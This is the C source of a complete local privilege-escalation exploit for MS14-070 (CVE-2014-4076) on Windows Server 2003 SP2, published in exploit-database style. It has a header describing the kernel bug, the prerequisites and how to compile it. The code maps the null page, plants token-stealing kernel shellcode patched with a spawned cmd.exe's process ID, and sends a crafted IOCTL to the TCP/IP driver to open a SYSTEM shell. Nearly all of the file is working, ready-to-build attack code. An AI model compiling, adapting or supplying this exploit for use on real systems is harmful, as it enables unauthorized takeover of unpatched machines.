/*
################################################################
# Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070)
# Date: 2015-08-10
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
# Windows 2003 SP2 x86
# Windows 2003 SP2 x86-64
# Windows 2003 SP2 IA-64
# Supported vulnerable software:
# Windows 2003 SP2 x86
# Tested on:
# Windows 2003 SP2 x86 EN
# CVE ID: 2014-4076
# OSVDB-ID: 114532
################################################################
# Vulnerability description:
# Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to
# properly handle objects in memory during IOCTL processing.
# By crafting an input buffer that will be passed to the TCP
# device through the DeviceIoControlFile() function, it is
# possible to trigger a vulnerability that would allow an
# attacker to elevate privileges.
# An attacker who successfully exploited this vulnerability
# could run arbitrary code in kernel mode (i.e. with SYSTEM
# privileges).
################################################################
# Exploit notes:
# Privileged shell execution:
# - the SYSTEM shell will spawn within the existing shell
# (i.e. exploit usable via a remote shell)
# - upon exiting the SYSTEM shell, the parent process
# will become unresponsive/hang
# Exploit compiling:
# - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe
# Exploit prerequisites:
# - low privilege access to the target (remote shell or RDP)
# - target not patched (KB2989935 not installed)
################################################################
# Patch:
# https://www.microsoft.com/en-us/download/details.aspx?id=44646
################################################################
# Thanks to:
# KoreLogic (Python PoC)
# ChiChou (C++ PoC)
################################################################
# References:
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076
# https://technet.microsoft.com/library/security/ms14-070
# https://www.exploit-db.com/exploits/35936/
# https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp
# https://www.osronline.com/article.cfm?article=229
################################################################
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef DWORD NTSTATUS;
NTSTATUS WINAPI NtQuerySystemInformation (
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);
NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
NTSTATUS (WINAPI *ZwDeviceIoControlFile) (
HANDLE FileHandle,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
{
ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
startupInformation->cb = sizeof (STARTUPINFO);
ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));
// Start the child process.
return CreateProcess (
NULL, // No module name (use command line)
"c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32", // Start cmd.exe
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
TRUE, // Set handle inheritance to TRUE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&startupInformation[0], // Pointer to STARTUPINFO structure
&processInformation[0] // Pointer to PROCESS_INFORMATION structure
);
}
unsigned long SwapBytes (unsigned long inputByteUL)
{
return (((inputByteUL&0x000000FF) << 24) + ((inputByteUL&0x0000FF00) << 8) +
((inputByteUL&0x00FF0000) >> 8) + ((inputByteUL&0xFF000000) >> 24));
}
BOOL WriteToAllocMem (unsigned char *exploitBuffer, unsigned char *shellcode)
{
int returnAllocMemValue1, returnAllocMemValue2, returnAllocMemValue3, returnAllocMemValue4, returnAllocMemValue5;
returnAllocMemValue1 = WriteProcessMemory (
(HANDLE) 0xFFFFFFFF,
(LPVOID) 0x28,
"\x87\xff\xff\x38",
4,
NULL
);
returnAllocMemValue2 = WriteProcessMemory (
(HANDLE) 0xFFFFFFFF,
(LPVOID) 0x38,
"\x00\x00",
2,
NULL
);
returnAllocMemValue3 = WriteProcessMemory (
(HANDLE) 0xFFFFFFFF,
(LPVOID) 0x1100,
&exploitBuffer[0],
32,
NULL
);
returnAllocMemValue4 = WriteProcessMemory (
(HANDLE) 0xFFFFFFFF,
(LPVOID) 0x2b,
"\x00\x00",
2,
NULL
);
returnAllocMemValue5 = WriteProcessMemory (
(HANDLE) 0xFFFFFFFF,
(LPVOID) 0x2000,
&shellcode[0],
96,
NULL
);
if (returnAllocMemValue1 == 0 ||
returnAllocMemValue2 == 0 ||
returnAllocMemValue3 == 0 ||
returnAllocMemValue4 == 0 ||
returnAllocMemValue5 == 0)
return FALSE;
else
return TRUE;
}
int main (void)
{
fprintf (stderr, "[*] MS14-070 (CVE-2014-4076) x86\n");
fprintf (stderr, " [*] by Tomislav Paskalev\n");
fflush (stderr);
////////////////////////////////
// CREATE NEW CME.EXE PROCESS
////////////////////////////////
STARTUPINFO *startupInformation = (STARTUPINFO *) malloc (sizeof (STARTUPINFO));
PROCESS_INFORMATION *processInformation = (PROCESS_INFORMATION *) malloc (sizeof (PROCESS_INFORMATION));
if (!CreateNewCmdProcess (&startupInformation[0], &processInformation[0]))
{
fprintf (stderr, "[-] Creating a new process failed\n");
fprintf (stderr, " [*] Error code : %d\n", GetLastError());
fflush (stderr);
ExitProcess (1);
}
fprintf (stderr, "[+] Created a new cmd.exe process\n");
fflush (stderr);
////////////////////////////////
// CONVERT PID TO HEX LE
////////////////////////////////
unsigned long pidLittleEndian = SwapBytes ((unsigned long) processInformation->dwProcessId);
fprintf (stderr, " [*] PID [dec] : %#8lu\n", (unsigned long) processInformation->dwProcessId);
fprintf (stderr, " [*] PID [hex] : %#010x\n", (unsigned long) processInformation->dwProcessId);
fprintf (stderr, " [*] PID [hex LE] : %#010x\n", pidLittleEndian);
/*four bytes of hex = 8 characters, plus NULL terminator*/
unsigned char pidLittleEndianString[9];
sprintf (&pidLittleEndianString[0], "%04x", pidLittleEndian);
////////////////////////////////
// CREATE SHELLCODE
////////////////////////////////
unsigned char exploitBuffer[] =
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00"
"\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00";
unsigned char shellcode[] =
"\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00"
"\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00"
"\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41"
"\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94"
"\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11"
"\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00";
int counter;
for (counter = 0; counter < 4; counter++)
{
char buffer[3] = {pidLittleEndianString[counter * 2], pidLittleEndianString[(counter * 2) + 1], 0};
shellcode[46 + counter] = strtol (buffer, NULL, 16);
}
shellcode[77] = strtol ("39", NULL, 16);
shellcode[78] = strtol ("ff", NULL, 16);
shellcode[79] = strtol ("a2", NULL, 16);
shellcode[80] = strtol ("ba", NULL, 16);
shellcode[82] = strtol ("0", NULL, 16);
shellcode[83] = strtol ("0", NULL, 16);
shellcode[84] = strtol ("0", NULL, 16);
shellcode[85] = strtol ("0", NULL, 16);
fprintf (stderr, "[+] Modified shellcode\n");
fflush (stderr);
////////////////////////////////
// CREATE HANDLE ON TCPIP.SYS
////////////////////////////////
HANDLE tcpIPDeviceHandle = CreateFileA (
"\\\\.\\Tcp",
0,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (tcpIPDeviceHandle == INVALID_HANDLE_VALUE)
{
printf ("[-] Opening TCP/IP I/O dev failed\n");
printf (" [*] Error code : %d\n", GetLastError());
ExitProcess (1);
}
fprintf (stderr, "[+] Opened TCP/IP I/O device\n");
fflush (stderr);
////////////////////////////////
// ALLOCATE MEMORY - FIRST PAGE
////////////////////////////////
FARPROC ZwAllocateVirtualMemory;
ZwAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwAllocateVirtualMemory");
fprintf (stderr, "[*] ntdll.dll address: 0x%p\n", ZwAllocateVirtualMemory);
fflush (stderr);
NTSTATUS AllocMemReturnCode;
ULONG BaseAddress = 0x1000, RegionSize = 0x4000;
AllocMemReturnCode = ZwAllocateVirtualMemory (
(HANDLE) 0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (AllocMemReturnCode != 0)
{
printf ("[-] Allocating memory failed\n");
printf (" [*] Error code : %#X\n", AllocMemReturnCode);
ExitProcess (1);
}
fprintf (stderr, "[+] Allocated memory\n");
fprintf (stderr, " [*] BaseAddress : 0x%p\n", BaseAddress);
fprintf (stderr, " [*] RegionSize : %#010x\n", RegionSize);
fflush (stderr);
////////////////////////////////
// WRITE EXPLOIT TO PROCESS MEM
////////////////////////////////
fprintf (stderr, "[*] Writing exploit...\n");
fflush (stderr);
if (!WriteToAllocMem (&exploitBuffer[0], &shellcode[0]))
{
fprintf (stderr, " [-] Failed to write to memory\n");
fprintf (stderr, " [*] Err code : %d\n", GetLastError ());
fflush (stderr);
ExitProcess (1);
}
else
{
fprintf (stderr, " [+] done\n");
fflush (stderr);
}
////////////////////////////////
// SEND EXPLOIT TO TCPIP.SYS
////////////////////////////////
fprintf (stderr, "[*] Spawning SYSTEM shell...\n");
fprintf (stderr, " [*] Parent proc hangs on exit\n");
fflush (stderr);
FARPROC ZwDeviceIoControlFile;
NTSTATUS DevIoCtrlReturnCode;
ULONG ioStatus = 8;
ZwDeviceIoControlFile = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwDeviceIoControlFile");
DevIoCtrlReturnCode = ZwDeviceIoControlFile (
tcpIPDeviceHandle,
NULL,
NULL,
NULL,
(PIO_STATUS_BLOCK) &ioStatus,
0x00120028, //Device: NETWORK (0x12)
//Function: 0xa
//Access: FILE_ANY_ACCESS
//Method: METHOD_BUFFERED
(PVOID) 0x1100, //NULL, //Test
32, //0, //Test
NULL,
0
);
if (DevIoCtrlReturnCode != 0)
{
fprintf (stderr, " [-] Exploit failed (->TCP/IP)\n");
fprintf (stderr, " [*] Err code : %d\n", GetLastError ());
fflush (stderr);
ExitProcess (1);
}
////////////////////////////////
// WAIT FOR CHILD PROCESS; EXIT
////////////////////////////////
// Wait until child process exits.
WaitForSingleObject (processInformation->hProcess, INFINITE);
fprintf (stderr, "[*] Exiting SYSTEM shell...\n");
fflush (stderr);
// Close process and thread handles.
CloseHandle (tcpIPDeviceHandle);
CloseHandle (processInformation->hProcess);
CloseHandle (processInformation->hThread);
return 1;
}